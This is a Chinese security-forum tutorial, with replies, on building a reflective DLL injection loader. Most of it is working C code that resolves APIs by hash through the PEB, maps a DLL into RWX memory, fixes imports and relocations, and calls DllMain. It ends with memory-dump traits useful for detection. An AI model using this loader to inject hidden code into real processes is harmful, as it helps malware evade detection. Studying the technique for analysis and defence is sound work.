首页
论坛
专栏
课程

[病毒木马] [原创]常见进程注入的实现及内存dump分析——反射式DLL注入(下)

2018-1-22 22:06 8157

[病毒木马] [原创]常见进程注入的实现及内存dump分析——反射式DLL注入(下)

2018-1-22 22:06
8157

前言

上一篇帖子《常见进程注入的实现及内存dump分析——反射式DLL注入(上)》中,实现了反射式注射器的Dropper,这篇帖子中,将会实现Payload——DLL文件。个人认为,反射式DLL的精髓就在于DLL的反射加载功能。

环境

OS:Windows 10 PRO 1709

IDE:Visual Studio 2015 Community

语言:Visual C++


Payload:DLL的实现

原理:

将已经注入到目标进程的DLL加载到内存,实现LoadLibrary的功能。

步骤:

这里我先描述下大体的流程,后面会展开。
  1. 获取目标进程PEB,从而获取一些需要用到的函数地址,如:VirtualAlloc。
  2. 复制PE头,由于PE头的形态并没有像节一样需要展开,所以为复制。
  3. 解析PE头,并加载节,与2不一样的是,这里用的是加载,到了节这里,已经在PE头中的信息指定了RVA,所以这里要进行“加载”。
  4. 处理导入表,获取导入函数的地址。
  5. 处理重定位表,由于基址和默认的加载地址不同,所以需要修改重定位表,否则,程序内的直接寻址会出问题。
  6. 调用镜像入口点,到这里,镜像已经加载完毕。
由于直接编写DLL,直接进行反射加载,无法用VS进行调试,所以我之前新建了一个可执行的项目,在该项目中,实现了加载的功能,后续只需将函数导出,和变换下加载的DLL即可。

详细步骤:

  • 获取DLL起始位置。
//caller功能:获取当前指令的下一条指令的地址。
uiLibraryAddress = caller();
while (TRUE)
{
	if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
	{
		//pe头偏移RVA
		uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
		//判断PE头的正确性
		if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
		{
			//pe头在内存中的位置
			uiHeaderValue += uiLibraryAddress;
			//如果找到文件头就退出循环
			if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
				break;
		}
	}
	uiLibraryAddress--;
}
我在调试的可执行的Demo中,更改的。
//callAddress:在缓冲区开辟空间的起始地址,在原注入中uiLibraryAddress = caller();0x10偏移是为了模拟寻找起始地址的过程
uiLibraryAddress = callAddress + 0x10;
  • 获取目标进程PEB,获取需要的函数地址,需要的函数有:VirtualAlloc(用来为镜像要加载的地址分配空间)、LoadLibraryA(处理导入表)、GetProcAddress(同上)、NtFlushInstructionCache(刷新数据,让CPU执行新指令)。获取PEB的方法:FS:[0x30]和GS:[0x60],前者为32位系统,后者为64位系统。从下面的图中是微软公布的PEB的数据结构(在网络上可以找到更详细的结构),在_PEB_LDR_DATA这个数据结构中,存储着当前进程所加载的模块信息,就是我们想要的,我们需要遍历已经加载的模块,从中找到我们需要的模块,获得以上几个函数的地址。(会在附件中上传详细的PEB图)
  • 提示:在解析PEB的结构的时候,要注意字节对齐的问题,以前没有注意到结构体的这个问题,算是填了个坑。

PEB及_PEB_LDR_DATA的数据结构

模块之间的关系(来自网络,侵删)


由以上两图,贴出代码如下:
uiBaseAddress = __readgsqword(0x60);//peb结构的地址
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
	//当前模块名地址
	uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
	usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
	uiValueC = 0;
	//计算模块名的hash
	do
	{
		uiValueC = ror((DWORD)uiValueC);
		// normalize to uppercase if the madule name is in lowercase
		if (*((BYTE *)uiValueB) >= 'a')
		    uiValueC += *((BYTE *)uiValueB) - 0x20;
		else
		uiValueC += *((BYTE *)uiValueB);
		uiValueB++;
	} while (--usCounter);
	//获取目标进程中的接下来需要的函数地址
	if ((DWORD)uiValueC == KERNEL32DLL_HASH)
	{
		uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
		uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
		uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
		uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
		uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
		uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
		usCounter = 3;
		// 找函数
		while (usCounter > 0)
		{
			dwHashValue = hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
			if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
			{
				uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
				uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
				if (dwHashValue == LOADLIBRARYA_HASH)
					pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
				else if (dwHashValue == GETPROCADDRESS_HASH)
					pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
				else if (dwHashValue == VIRTUALALLOC_HASH)
					pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
				usCounter--;
			}
			uiNameArray += sizeof(DWORD);
			uiNameOrdinals += sizeof(WORD);
		}
	}
}

在上面的代码中,获取函数地址的部分没有具体写,上一篇帖子中详细的说明了获取的过程,差别就是上一篇帖子中需要将RVA转化为文件偏移。代码中有一些Hash值,这种方法在shellcode中比较常见,shellcode中是为了减小空间,这里除了这个原因,我在用IDA查找信息的时候并不能从字符串中直接找到函数名,也许这也是一个原因。(如有错误,或者其他原因,欢迎指出)。
  • 开辟缓冲区(DLL要加载到的空间),复制PE头和节表。
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
//分配空间,首地址即为DLL加载的基地址
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;//所有头+节表的大小
uiValueB = uiLibraryAddress;//DLL的起始地址,即缓冲区的起始地址
uiValueC = uiBaseAddress;//dll将被加载的地址的起始地址
//复制头和节表的数据到新开辟的缓冲区
while (uiValueA--)
	*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
PE头和节表可直接复制的原因:

映射关系(来自网络,侵删)

  • 根据节表加载节。
//节表的第一项
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
//pe中节的数量
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
	//节的虚拟地址
	uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
	//节的文件偏移地址
	uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
	//节的大小
	uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
	//拷贝数据
	while (uiValueD--)
		*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
	//下一个节
	uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
  • 处理导入表,导入表的结构图在上一篇帖子中没有详细画,附件中会更新。


代码入下:
// uiValueB :导入表地址
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
//基地址+RVA即导入表描述符的地址VA
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
//链接库名字
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
	//使用LoadLibraryA将需要的模块加载到内存
	uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
	//指向INT的IMAGE_THUNK_DATA的VA
	uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
	//要导入IAT的IMAGE_THUNK_DATA结构体
	uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
	// 迭代函数,如果没有名,则获取序号
	while (DEREF(uiValueA))
	{
                //在调试过程中发现都是获取的函数序号
		// sanity check uiValueD as some compilers only import by FirstThunk
		if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
		{
			uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
			uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
			uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
			uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
			uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
			DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
		}
		else
		{
			uiValueB = (uiBaseAddress + DEREF(uiValueA));
			DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
		}
		uiValueA += sizeof(ULONG_PTR);
		if (uiValueD)//INT
			uiValueD += sizeof(ULONG_PTR);
	}
	uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}

同样,关于导出表的部分没有详细注释,已经在上篇帖子中有详细的介绍。
  • 处理重定位表,由于基址改变,所以程序中的一些直接寻址等会出问题,所以要更改重定向表。


接下来需要用到的重定位表的关系

代码如下:
//实际装载和建议装载的偏移,原重定位表中的值是以程序建议的装载地址为基址
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;//程序建议的装载地址																						
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)//重定位表大小
{
	//重定位表的地址
	uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
	while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)//重定位块的大小
	{
		//重定位内存页的起始RVA
		uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
		//重定位块中的项数(整个块的大小减去结构体的大小,得到重定位项的总大小,除以每个重定位项的大小)																			
		uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
		//重定位块的第一项
		uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
		//遍历重定位项
		while (uiValueB--)
		{
			//重定位项的高四位代表此重定位项的类型
			if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
				*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
			else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
				*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
			else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
			else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
				*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
			//下一个重定位项
			uiValueD += sizeof(IMAGE_RELOC);
		}
		//下一个重定位块
		uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
	}
}


  • 调用程序入口点,使其执行DllMain,并传递消息为Dll的状态为DLL_PROCESS_ATTACH(这个消息在上篇文章中有讲到)
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);//调用入口点

分析:

在这种的注入是实现中,很少从外部导入函数,且使用了目标进程的部分导入库和函数,所以在IDA的导入中没有什么有价值的信息。不过,回忆整个流程,我们会发现这种注入有特别的地方,如获取PEB,如图,双重循环获取系统函数等,而且,这种注入由于需要修复的重定位表,也会使用双重循环。

在导出函数中,由于在注射器中会通过导出表来获取反射函数的地址,所以导出表中会有一个反射函数,且加载功能都是在反射函数中进行的。


从内存分布看,由于都是新开辟的空间,且需要执行代码,所以权限都为RWX,如果查看内存,小的那段的开头,一定是MZ。


将小的那段内存dump出来,虽然大小和原DLL有稍微的不同,但直接拖到IDA是可以进行分析的,因为那段内存就是dll本身。

最后

全部源码地址:https://github.com/SudoZhange/ProcessInjection

参考

代码:https://github.com/stephenfewer/ReflectiveDLLInjection
《Windows PE权威指南》
《深入解析Windows操作系统》
《加密与解密》


[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

上传的附件:
最新回复 (22)
ainideyang 2018-1-22 22:26
2
0
异常不需要处理吗?
芃杉 2018-1-22 23:26
3
0
mark
sxpp 1 2018-1-23 06:01
4
0
666666666
sudozhange 4 2018-1-23 09:24
5
0
重定位表修复了,地址就正确了,异常就不用修复吧,查阅了些资料,都没有提到异常表,在加解密这本书中,是这样描述的:

包含了每一个可能受异常展开影响的函数信息。为每个函数准备的数据包括起始地址、结束地址以及关于异常应该如何处理并在什么地方被处理的信息。

而PE文件中存储的地址为RVA,即使是VA,在重定位表中也已经修复了,所以可以直接寻址和间接寻址,异常处理表不需要操作。

niuzuoquan 2018-1-24 14:19
6
0
mark
聖blue 2018-1-25 21:11
7
0
蚯蚓降龙 2018-1-25 22:18
8
0
以前试过还可以把exe注入进去玩。不过这样搞,印象中可能会有DEP什么的....异常捕获之类一些奇葩的问题出现
coolsnake 2018-1-26 07:47
9
0
果然66666
sudozhange 4 2018-1-26 09:25
10
0
蚯蚓降龙 以前试过还可以把exe注入进去玩。不过这样搞,印象中可能会有DEP什么的....异常捕获之类一些奇葩的问题出现
这个我在某个帖子中见过,实现在内存中的可执行文件加载
sxpp 1 2018-1-26 19:02
11
0
这样内存加载64位的dll,可以正常使用std::thread类吗
sudozhange 4 2018-1-26 19:47
12
0
sxpp 这样内存加载64位的dll,可以正常使用std::thread类吗
只要导入表修复好了,和正常加载的DLL是一样的啊
sxpp 1 2018-1-27 08:55
13
0
sudozhange 只要导入表修复好了,和正常加载的DLL是一样的啊
不一样,只修复导入表没用,在无模块里秀c++类,确实会崩溃,我回去试试你的
sudozhange 4 2018-1-27 14:05
14
0
sxpp 不一样,只修复导入表没用,在无模块里秀c++类,确实会崩溃,我回去试试你的
哦哦,这个不了解,我这个里面用的是WinAPI的thread
wx_勺勺其华- 2018-1-27 17:19
15
0
这种方法注入以后  目标进程的模块中可以看到我们注入的DLL吗
Eagle 2018-1-27 18:17
16
0
sxpp 不一样,只修复导入表没用,在无模块里秀c++类,确实会崩溃,我回去试试你的
因为64位的异常处理基于PE的IMAGE_DIRECTORY_ENTRY_EXCEPTION,无模块是无法被捕获异常的。
所以得Hook那些异常处理函数,自己实现异常分发。
sudozhange 4 2018-1-27 21:38
17
0
模块中当然是看不到的,这个是你运行下,用监控工具看就可以了,不过私有的RWX内存,已经够了。。
wx_勺勺其华- 2018-2-1 06:47
18
0
sudozhange 模块中当然是看不到的,这个是你运行下,用监控工具看就可以了,不过私有的RWX内存,已经够了。。
大佬你好  我尝试修改了一下你的源码想向别的程序注入DLL  但是发现只能获取PID  注入DLL的源码是哪一个分支呢
sudozhange 4 2018-2-1 09:09
19
0
wx_勺勺其华- 大佬你好 我尝试修改了一下你的源码想向别的程序注入DLL 但是发现只能获取PID 注入DLL的源码是哪一个分支呢
你是说注射器吗?应该是在上一篇帖子中,Git上我也分类标出了
青蛙mage 2018-2-10 21:21
20
0
很有用解决问题
礁石的爱 2018-2-26 16:50
21
0
Eagle 因为64位的异常处理基于PE的IMAGE_DIRECTORY_ENTRY_EXCEPTION,无模块是无法被捕获异常的。 所以得Hook那些异常处理函数,自己实现异常分发。
32位的同理吗
geoh 2018-4-11 14:34
22
0
打包了一下PDF,方便存储。
上传的附件:
airbus 2019-10-24 18:31
23
0
注入exe的方法限制好多。对编译选项要求好高,比如优化编译选项开起来,注入进去后,目标进程崩溃了,关掉优化选项就工作正常
游客
登录 | 注册 方可回帖
返回